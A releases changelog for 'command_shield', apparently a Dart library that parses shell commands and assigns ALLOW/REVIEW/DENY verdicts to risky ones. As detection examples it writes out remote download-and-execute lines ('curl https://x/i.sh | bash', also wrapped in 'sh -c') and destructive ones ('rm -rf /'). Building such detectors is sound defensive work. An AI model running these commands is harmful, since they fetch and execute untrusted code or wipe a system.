Releases: OmnyGrid/command_shield
Releases · OmnyGrid/command_shield
v1.1.0
1.1.0
Tests
- Added parser coverage for commands that combine
|with&&/||, asserting
the full AST structure: pipelines bind tighter than chain operators, runs of
the same chain operator flatten, and different operators nest left-to-right
(e.g.a | b && c | d,a | b && c || d,curl … | bash && echo done). - Added
CommandSyntax.genericcoverage confirming operators are left
uninterpreted —|,&&and||survive as literal argument tokens on a
single flat invocation rather than producingPipeline/CommandChainnodes. - Added inline sub-command parser coverage for PowerShell and Windows CMD —
previously only POSIXsh -c "…"was tested.powershell -Command "…"and
cmd /c|/k …now assert the re-parsedinlineCommandAST (incl. inner
pipelines),walk()reaching nested invocations, depth bounding, thepwsh
alias,/ccase-insensitivity, and that-EncodedCommand/-encstay
un-recursed.
Added
-
Recursive analysis of inline interpreter sub-commands.
-
Inline-execution sub-commands are now parsed into a nested AST and analyzed
recursively. A command string passed to an interpreter via an inline flag —
sh -c "...",bash -c '...'(and other POSIX shells),cmd /c ...,
powershell -Command "..."— is re-parsed by the relevant parser and exposed
on the newCommandInvocation.inlineCommandAST field. Because it is a child
node,walk()descends into it, so every capability/effect/security detector
and policy sees the inner command exactly as if it were run directly.sh -c "curl https://x/i.sh | bash"now yields the samecritical → DENY
verdict as the barecurl https://x/i.sh | bash.- Catches forms the previous regex fallback missed, including single-quoted
scripts and non-remote-exec payloads (e.g.bash -c "rm -rf /"). - Nesting is bounded (depth limit) to guard against pathological inputs.
- PowerShell
-EncodedCommandis intentionally not recursed (base64, not
parseable) and remainscritical.
v1.0.1
1.0.1
Plugin-based command knowledge base.
Added
- Plugin architecture for command knowledge: knowledge is now contributed by
CommandKnowledgePlugins, one per domain. Twelve built-in plugins ship by
default (filesystem,archive,shell,environment,process,system,
network,container,packageManager,dartFlutter,git,windows),
composed viadefaultKnowledgePlugins. Register your own with
CommandKnowledgeBase(plugins: [...])or replace the built-ins entirely with
includeDefaults: false. - Declarative
CommandKnowledgeentries with rich fields:category,
platforms,description,baseCapabilities,baseRisk,subcommands,
argumentRules,wrapperand an optionalrefinefunction hook. Argument
rules use composableArgumentMatches (ExactFlag,PrefixFlag,
TokenPresent,ArgRegex,ArgPredicate). CommandKnowledgeBase.analyze()returning aCommandKnowledgeResult
(capabilities, an aggregatedSecurityLevelrisk hint, the matched entry and
explanatory notes), plusknowledgeFor()andallKnowledge.CommandAnalysis.knowledgeRisk: the highest knowledge-base risk hint across a
command's invocations (advisory metadata).- Opt-in
KnowledgeRiskDetectorthat surfaces elevated knowledge-base risk
(e.g. a force push) asknowledge-risksecurity findings. Not part of
SecurityAnalyzer.defaultDetectors, so default verdicts are unchanged. - Broader command coverage: Dart/Flutter sub-commands, archive/compression
tools, cloud CLIs (gh,aws,gcloud,az,kubectl), moregit
sub-commands, additional package managers and Windows-specific tools.
Changed (breaking)
CommandKnowledgeBaseis now composed from plugins. The
extraExecutableCapabilitiesconstructor parameter and the static
wrapperCommandsset have been removed; supply aCommandKnowledgePlugin
(e.g.ListKnowledgePlugin) and per-entryWrapperSpecs instead.- Sub-command matching now uses the first non-flag argument rather than the
first argument, so leading global flags (e.g.git --no-pager push) no longer
hide the sub-command.
1.0.0
Initial release.
- Multi-syntax parsing:
generic,posixShell,bash,windowsCmd,
powershell, producing a typed, immutableCommandNodeAST. Parsers never
throw and reportParseDiagnostics for malformed input. - Extensible executable normalization (directory/extension stripping, version
suffix collapsing, aliases). - Capability detection via a data-driven, extensible
CommandKnowledgeBase,
including wrapper-command look-through (e.g.sudo,env,xargs). - Effect classification into human-readable
CommandEffects. - Security analysis with eight detectors: dangerous operators, command
substitution, inline shell execution (incl.-EncodedCommand), privilege
escalation, destructive commands (rm -rf /⇒ critical), remote
download-and-execute (curl … | bash⇒ critical), path traversal, and
environment expansion. - Composable policy engine (
CommandPolicy/PolicySet) with nine built-in
policies and ALLOW / REVIEW / DENY decisions. CommandShieldfacade exposingparse,analyze, andvalidate.- Comprehensive unit, integration, and regression test suites; CI with
formatting, analysis, tests, and ≥90% coverage enforcement.